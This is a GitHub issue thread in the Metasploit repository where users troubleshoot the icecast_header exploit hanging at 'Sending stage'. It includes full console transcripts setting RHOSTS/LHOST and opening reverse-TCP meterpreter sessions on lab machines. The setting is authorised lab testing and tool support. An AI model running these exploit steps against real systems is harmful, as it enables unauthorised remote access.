search

rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.77k stars 13.89k forks source link

Hanging on sending stage #13881

Closed m0lmk closed 4 years ago

m0lmk commented 4 years ago

Steps to reproduce

  1. Launch mfsconsole
  2. use icecast
  3. set RHOSTS 10.10.xx.xx
  4. set LHOST 10.10.xx.xx
  5. show options
msf5 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.87.100     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   8000            yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.11.10.100      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(windows/http/icecast_header) >
  1. exploit

Expected behavior

Exploit should run and start a meterpreter session

Current behavior

Exploit runs and hangs on Sending Stage

msf5 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 10.11.10.100:4444 
[*] Sending stage (176195 bytes) to 10.10.87.100

System stuff

Metasploit version

metasploit v5.0.100-dev-

I installed Metasploit with:

OS

Kali 2020.2a

Log

root@kali:/home/kali# cat ~/.msf4/logs/framework.log 
[07/21/2020 20:12:02] [d(0)] core: Created user based module store
[07/21/2020 20:12:04] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:12:04] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:12:04] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[07/21/2020 20:12:04] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[07/21/2020 20:12:11] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:12:11] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:12:11] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[07/21/2020 20:12:11] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[07/21/2020 20:12:45] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 395)
[07/21/2020 20:26:45] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:26:45] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:26:45] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[07/21/2020 20:26:45] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[07/21/2020 20:26:52] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:26:52] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[07/21/2020 20:26:52] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[07/21/2020 20:26:52] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[07/21/2020 20:27:17] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 395)
[07/22/2020 10:38:22] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[07/22/2020 10:38:22] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[07/22/2020 10:38:23] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[07/22/2020 10:38:23] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[07/22/2020 10:38:23] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather/office365userenum.py, unknown module type
[07/22/2020 10:38:23] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/host_id.go - Errno::ENOENT No such file or directory - go
[07/22/2020 10:38:23] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/onprem_enum.go - Errno::ENOENT No such file or directory - go
[07/22/2020 10:38:23] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/exchange_enum.go - Errno::ENOENT No such file or directory - go
[07/22/2020 10:38:54] [e(0)] core: /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather/office365userenum.rb failed to load - Errno::ENOENT No such file or directory @ rb_sysopen - /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather/office365userenum.rb
[07/22/2020 10:38:54] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather/office365userenum.py, unknown module type
[07/22/2020 10:38:54] [w(0)] core: Removing invalid module reference from cache: gather/office365userenum
[07/22/2020 10:38:59] [e(0)] core: /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/exchange_enum.rb failed to load - Errno::ENOENT No such file or directory @ rb_sysopen - /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/exchange_enum.rb
[07/22/2020 10:38:59] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/exchange_enum.go - Errno::ENOENT No such file or directory - go
[07/22/2020 10:38:59] [w(0)] core: Removing invalid module reference from cache: scanner/msmail/exchange_enum
[07/22/2020 10:38:59] [e(0)] core: /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/host_id.rb failed to load - Errno::ENOENT No such file or directory @ rb_sysopen - /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/host_id.rb
[07/22/2020 10:38:59] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/host_id.go - Errno::ENOENT No such file or directory - go
[07/22/2020 10:38:59] [w(0)] core: Removing invalid module reference from cache: scanner/msmail/host_id
[07/22/2020 10:38:59] [e(0)] core: /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/onprem_enum.rb failed to load - Errno::ENOENT No such file or directory @ rb_sysopen - /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/onprem_enum.rb
[07/22/2020 10:38:59] [e(0)] core: Unable to load module /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/msmail/onprem_enum.go - Errno::ENOENT No such file or directory - go
[07/22/2020 10:38:59] [w(0)] core: Removing invalid module reference from cache: scanner/msmail/onprem_enum
[07/22/2020 10:47:02] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 395)
[07/22/2020 10:53:39] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[07/22/2020 10:53:39] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[07/22/2020 10:53:39] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[07/22/2020 10:53:39] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[07/22/2020 10:54:29] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 395)
[07/22/2020 10:59:39] [d(1)] core: Module x86/shikata_ga_nai is compatible with windows/http/icecast_header
[07/22/2020 10:59:39] [i(0)] core: windows/meterpreter/reverse_tcp: iteration 1: Successfully encoded with encoder x86/shikata_ga_nai (size is 395)
root@kali:/home/kali#
bcoles commented 4 years ago

What OS is the target system? Does it work with a bind payload rather than a reverse payload?

Perhaps there is there is anti-virus software on the target system that is killing the process before the stage can be executed?

m0lmk commented 4 years ago

I'm testing against the TryHackMe Box "Ice" which is a Windows 7 Professional 7601 Service Pack 1 box built to test the Icecast exploit. There is no AV running.

The exploit works fine using the TryHackMe Kali VM which is running Framework Version: 5.0.71-dev but does not work on my own Kali VM (downloaded from Offensive Security) which is running Framework Version: 5.0.99-dev. I've also downloaded the Kali iso and installed it on bare metal and that also fails running Framework Version: 5.0.99-dev.

Is there an "idiots guide" to removing 5.0.99-dev and installing 5.0.71-dev so I can test if that works on my own VM?

bcoles commented 4 years ago

It is unlikely, but not impossible, that there is an issue present in 5.0.99-dev which is not present in 5.0.71-dev.

Are you absolutely positively 100% sure beyond a shadow of a doubt that the module configuration you used was identical on the two versions? Same payload?

Is there an "idiots guide" to removing 5.0.99-dev and installing 5.0.71-dev so I can test if that works on my own VM?

No. If you're using Kali, maybe you can revert the package to an older packaged version. You can install old packages with apt-get install metasploit-framework=v1.2.3.4. Of course, this is probably going to cause a world of hurt by removing a whole bunch of stuff.

If there is a bug, the preferred approach would to patch it. This way you will not need to use an older version of Metsaploit for eternity.

m0lmk commented 4 years ago

Thanks for the info.

I'm 100% sure that the exact module config was used on both. I put the same commands into both and 5.0.71-dev worked, 5.0.99-dev didn't.

Can anyone else download and run the current Offensive Security VirtualBox release and verify that it's not just my fat fingers?

https://images.offensive-security.com/virtual-images/kali-linux-2020.2a-vbox-amd64.ova

I can provide a walkthrough of what I am doing if that helps.

bcoles commented 4 years ago

Can anyone else download and run the current Offensive Security VirtualBox release and verify that it's not just my fat fingers?

I'd prefer to know the exact version of Icecast and try to set up a vulnerable environment myself.

bcoles commented 4 years ago

Works for me on latest version (v5.0.101-dev-016e2bdf15) from master branch on icecast2_win32_2.0.0_setup on Windows 7 SP1 (x86_64).

Downloaded from: https://ftp.osuosl.org/pub/xiph/releases/icecast/

       =[ metasploit v5.0.101-dev-016e2bdf15              ]
+ -- --=[ 2073 exploits - 1111 auxiliary - 345 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use sessions -1 to interact with the last opened session

msf5 > use exploit/windows/http/icecast_header 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/icecast_header) > set rhosts 172.16.191.130
rhosts => 172.16.191.130
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[-] 172.16.191.130:8000 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (172.16.191.130:8000).
[*] Exploit completed, but no session was created.
msf5 exploit(windows/http/icecast_header) > check
[-] Check failed: NoMethodError This module does not support check.
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] Sending stage (176195 bytes) to 172.16.191.130
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.130:49248) at 2020-07-26 07:27:50 -0400

meterpreter > getuid
Server username: TEST\user
meterpreter >
bcoles commented 4 years ago

My test Kali system (same system as above) also has a very similar version of Metasploit installed too (v5.0.98-dev package version 5.0.98-0kali1).

This also works fine. This indicates that if there is in fact a bug, it is likely due to the way Kali packages Metasploit and/or Ruby dependencies.

       =[ metasploit v5.0.98-dev                          ]
+ -- --=[ 2043 exploits - 1106 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: View a module's description using info, or the enhanced version in your browser with info -d

msf5 > use exploit/windows/http/icecast_header 
set rhost[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
smsf5 exploit(windows/http/icecast_header) > set rhosts 172.16.191.130
rhosts => 172.16.191.130
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] Sending stage (176195 bytes) to 172.16.191.130
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.130:49258) at 2020-07-26 07:34:02 -0400

meterpreter > getuid
Server username: TEST\user
meterpreter >
bcoles commented 4 years ago

I bumped my metasploit-framework package up to v5.0.99-dev and still cannot reproduce this issue. Same target.

# apt-get install metasploit-framework=5.0.99-0kali1

# ... snip ...

[2020-07-26 07:41:57] root@kali:/tmp# msfconsole 
       =[ metasploit v5.0.99-dev                          ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post       ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Use sessions -1 to interact with the last opened session

msf5 > use exploit/windows/http/icecast_header 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/icecast_header) > set rhosts 172.16.191.130
rhosts => 172.16.191.130
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] Sending stage (176195 bytes) to 172.16.191.130
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.130:49261) at 2020-07-26 07:43:37 -0400

meterpreter > getuid
Server username: TEST\user
meterpreter >
bcoles commented 4 years ago

The only thing I can think of at this stage is there's something different with my Ruby environment. I did a gem update --system about 6 months ago. Apart from that, the only dependencies I've installed have been whatever I've installed with bundle install in various projects.

[2020-07-26 07:46:40] root@kali:/tmp# ruby --version
ruby 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-linux-gnu]

That, or it is user error.

m0lmk commented 4 years ago

Thanks @bcoles I apreciate the time you are spending on this and the help.

I've downloaded a fresh Kali VM from Offensive Security and tried again. I've done an apt update/upgrade.

The target is running Icecast 2.0 and is vulnerable to CVE-2004-1561

kali@kali:~$ ruby --version
ruby 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-linux-gnu]

kali@kali:~$ msfconsole -q
msf5 > version
Framework: 5.0.99-dev
Console  : 5.0.99-dev
msf5 > search icecast

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite

msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/icecast_header) > set rhosts 10.10.28.228
rhosts => 10.10.28.228
msf5 exploit(windows/http/icecast_header) > set lhost 10.11.10.24
lhost => 10.11.10.24
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 10.11.10.24:4444 
[*] Sending stage (176195 bytes) to 10.10.28.228

And here it hangs. Is there anything else I can provide to try and pinpoint this issue?

m0lmk commented 4 years ago

Downloaded a Kali 2019.3 VM and did not run apt update/upgrade

root@osboxes:~# ruby --version
ruby 2.5.5p157 (2019-03-15 revision 67260) [x86_64-linux-gnu]
root@osboxes:~# msfconsole -q
msf5 > version
Framework: 5.0.41-dev
Console  : 5.0.41-dev
msf5 > search icecast

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite

msf5 > use 0
msf5 exploit(windows/http/icecast_header) > set rhosts 10.10.243.153
rhosts => 10.10.243.153
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 10.11.10.24:4444 
[*] Sending stage (179779 bytes) to 10.10.243.153

Hangs again

Lastly, I used the Kali VM that is provided by TryHackMe

root@kali:~# ruby --version
ruby 2.5.7p206 (2019-10-01 revision 67816) [x86_64-linux-gnu]
root@kali:~# msfconsole -q
msf5 > version
Framework: 5.0.71-dev
Console  : 5.0.71-dev
msf5 > search icecast

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrite

msf5 > use 0
msf5 exploit(windows/http/icecast_header) > set rhosts 10.10.243.153
rhosts => 10.10.243.153
msf5 exploit(windows/http/icecast_header) > run

[*] Started reverse TCP handler on 10.10.192.104:4444 
[*] Sending stage (180291 bytes) to 10.10.243.153
[*] Meterpreter session 1 opened (10.10.192.104:4444 -> 10.10.243.153:49246) at 2020-07-26 19:38:06 +0000

meterpreter > getuid
Server username: Dark-PC\Dark
meterpreter >

Works fine.

Could it be an issue with the VPN that is used to connect my local Kali VM to the TryHackMe network?

bcoles commented 4 years ago

Could it be an issue with the VPN that is used to connect my local Kali VM to the TryHackMe network?

That seems significantly more likely. Perhaps try other payloads such as bind payloads.

m0lmk commented 4 years ago

I've spent quite some time testing. I've used different hardware on the host machine, different network, different ISP...

I finally managed to get it working by ditching Virtualbox and running Kali in VMware.

root@kali:/home/kali# msfconsole -v
Framework Version: 5.0.87-dev
root@kali:/home/kali# ruby --version
ruby 2.7.0p0 (2019-12-25 revision 647ee6f091) [x86_64-linux-gnu]

I tried changing the network interface in VirtualBox to every available option in both NAT and Bridged mode so I have no idea why VirtualBox won't work.

Updated the VMware machine with apt upgrade

root@kali:/home/kali# msfconsole -v
Framework Version: 5.0.100-dev
root@kali:/home/kali# ruby --version
ruby 2.7.1p83 (2020-03-31 revision a0c7c23c9c) [x86_64-linux-gnu]

Also works fine on VMware.